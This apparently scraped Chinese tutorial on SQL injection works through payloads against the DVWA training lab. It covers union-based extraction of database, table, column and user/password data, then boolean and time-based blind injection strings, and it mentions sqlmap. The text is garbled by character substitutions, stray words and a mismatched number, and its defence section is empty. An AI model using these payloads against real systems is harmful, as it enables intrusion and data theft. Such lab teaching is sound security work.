数据定义语言DDL用于定义数据库结构,数据操做语言DML用于对数据库进行查询或更新。php
1、注入原理sql
产生SQL注入漏洞的根本缘由在于代码中没有对用户输入项进行验证和处理便直接拼接到查询语句中。利用SQL注入漏洞,攻击者能够在应用的查询语句中插入本身的SQL代码并传递给后台SQL服务器时加以解析并执行。数据库
2、寻找注入点安全
若是对一个网站进行SQL注入攻击,首先须要找到存在SQL注入漏洞的地方,也就是注入点。可能的SQL注入点通常存在于登录页面、查找页面、或添加页面等用户能够查找或修改数据的地方。
服务器
寻找注入点的思想,就是在参数后插入可能使查询结果发生改变的SQL代码。若是插入的代码没有被数据库执行,而是看成普通的字符串处理,那么应用多是安全的,若是插入的代码被数据库执行了,一般说明该应用存在SQL注入漏洞。cookie
GET型的请求最容易被注入。一般关注ASP、JSP、CGI或PHP的网页,尤为是URL中携带参数的。测试
单引号法网站
在url参数后添加一个单引号,若存在一个注入点则一般会返回一个错误。ui
永真永假法url
与上一个永真式,逻辑不受影响,页面应当与原页面相同;与上一个永假式,会影响原逻辑,页面可能出错或跳转。
3、SQL注入
LOW
发现报错,接下来进行自动化注入。
使用sqlmap-u url进行测试的时候,意味着要访问sqli页面,须要经过login.php优先登陆,登陆后才能够访问。所以,须要获取登录权限才能够访问。
在利用sqlmap以前,须要打开本地代理服务器,kali里,内置了SQLmap、Paros Proxy、Burp Suite等软件),选用Pars。
分析源码,能够看到没有对参数作任何的过滤,直接带入数据库进行查询,分析sql查询语句,可能存在字符型sql注入。
判断sql是否存在存入,以及注入的类型:
1' and '1'='1
猜解SQL查询语句中的字段数
1' order by 2#
1' order by 3#
从上面两个图能够说明,SQL语句查询的表的字段数是2
查询当前的数据库,以及版本:
1' union select version(),database()#
获取数据库中的表:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
获取表中的字段名:
1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#
得到字段中的数据:
1' union select user,password from users#
4、SQL注入实践
经过Sqlmapmap进行自动化注入。使用sqlmap -u url进行测试的时候,要能登录sqli页面,须要经过login.php优先登陆,登陆后才能够访问。打开本地代理服务器并抓取cookie记录。
1. 断定注入
2. 列举数据库
3.列举表
4. 列举列
5. 列举数据
4、SQL注入盲注
有一些SQL注入能够将SQL执行的结果回显,这种状况下,能够直接经过回显的结果来显示想要查询的各种信息,但在实际状况中,具备回显的注入点很是罕见。这种状况下就须要SQL盲注。
SQL盲注是不能经过直接显示的途径来获取数据库的方法。在盲注中,攻击者根据其返回页面的不一样来判断信息(多是页面内容的不一样,也多是响应时间不一样)。通常状况下,盲注可分为三类:基于布尔SQL盲注、基于时间的SQL盲注、基于报错的SQL盲注。
1. 基于布尔SQL盲注
对于一个注入点,页面只返回True和Fause两种类型页面,此时能够利用基于布尔SQL的盲注,就是经过判断语句猜解,若是判断条件正确则页面显示正常,不然报错,这样一轮一轮猜下去直到猜对,是比较简单但相对麻烦的盲注方式。
a. 判断是否存在注入,注入是字符型仍是数字型。
输入1,显示用户存在。
输入1‘ and 1=1 #,单引号为了闭合原来SQL语句中的第一个单引号,然后面的#为了闭合后面的单引号。运行后显示存在。
输入1’ and 1=2 #,显示不存在,说明存在SQL盲注。源代码中可看到未对ID作任何处理。
b. 猜解当前数据库名
首先猜解数据库名的长度,而后挨个猜解字符。
输入1‘ and length(database())=1 #,显示不存在;
输入1’ and length(database())=4 #,显示存在,说明数据库名长度为4。
采用二分法猜解数据库名字。
输入1‘ and ascii(substr(database(),1,1))>37 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
122(小写字母z的ascii值)、109(小写字母m的ascii值)、103(小写字母g的ascii值)、100(小写字母d的ascii值)。
重复步骤,猜解出完整的数据库名为dvwa。
c. 猜解数据库中的表名。
首先,猜解数据库中表的数量;
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 #,显示不存在;
1’ and (select count(table_name) from information_schema.tables where table_schema=database())=2 #,显示存在。
说明数据库中有两个表,接着猜解表名:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 #,显示不存在;
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=5 #,显示存在。
说明第一个表名长度为5。
接下来,继续用二分法猜想表名:
1' and ascii (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 #,
1' and ascii (substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=117 #
以此类推,表的名字为users和guestbook;
d. 猜解表中字段名:
首先,猜解表中字段的数量,
1' and (select count(column_name) from information_schema.columns where table_name='users')=8 #,显示存在;
说明users表中有8个字段,接着挨个猜解字段名:
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7 #,显示存在
说明user表中的第一个字段为7个字符长度,采用二分法,便可猜解出全部字段名。
e. 猜解表中数据
继续用二分法。
2. 基于时间的SQL盲注
也可使用基于时间的SQL盲注,首先判断是否存在注入,注入是字符型仍是数字型:
输入1' and sleep(5) #,感受到明显延迟;
输入1 and sleep(5) #,没有延迟,说明存在字符型的基于时间的盲注。
猜解当前数据库名字长度:
1' and if(length(database())=4,sleep(5),1) #,明显延迟。
采用二分法猜解数据库名:
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1) #,明显延迟。
以此类推,猜解表、字段和数据。
5、SQL注入防护措施
如: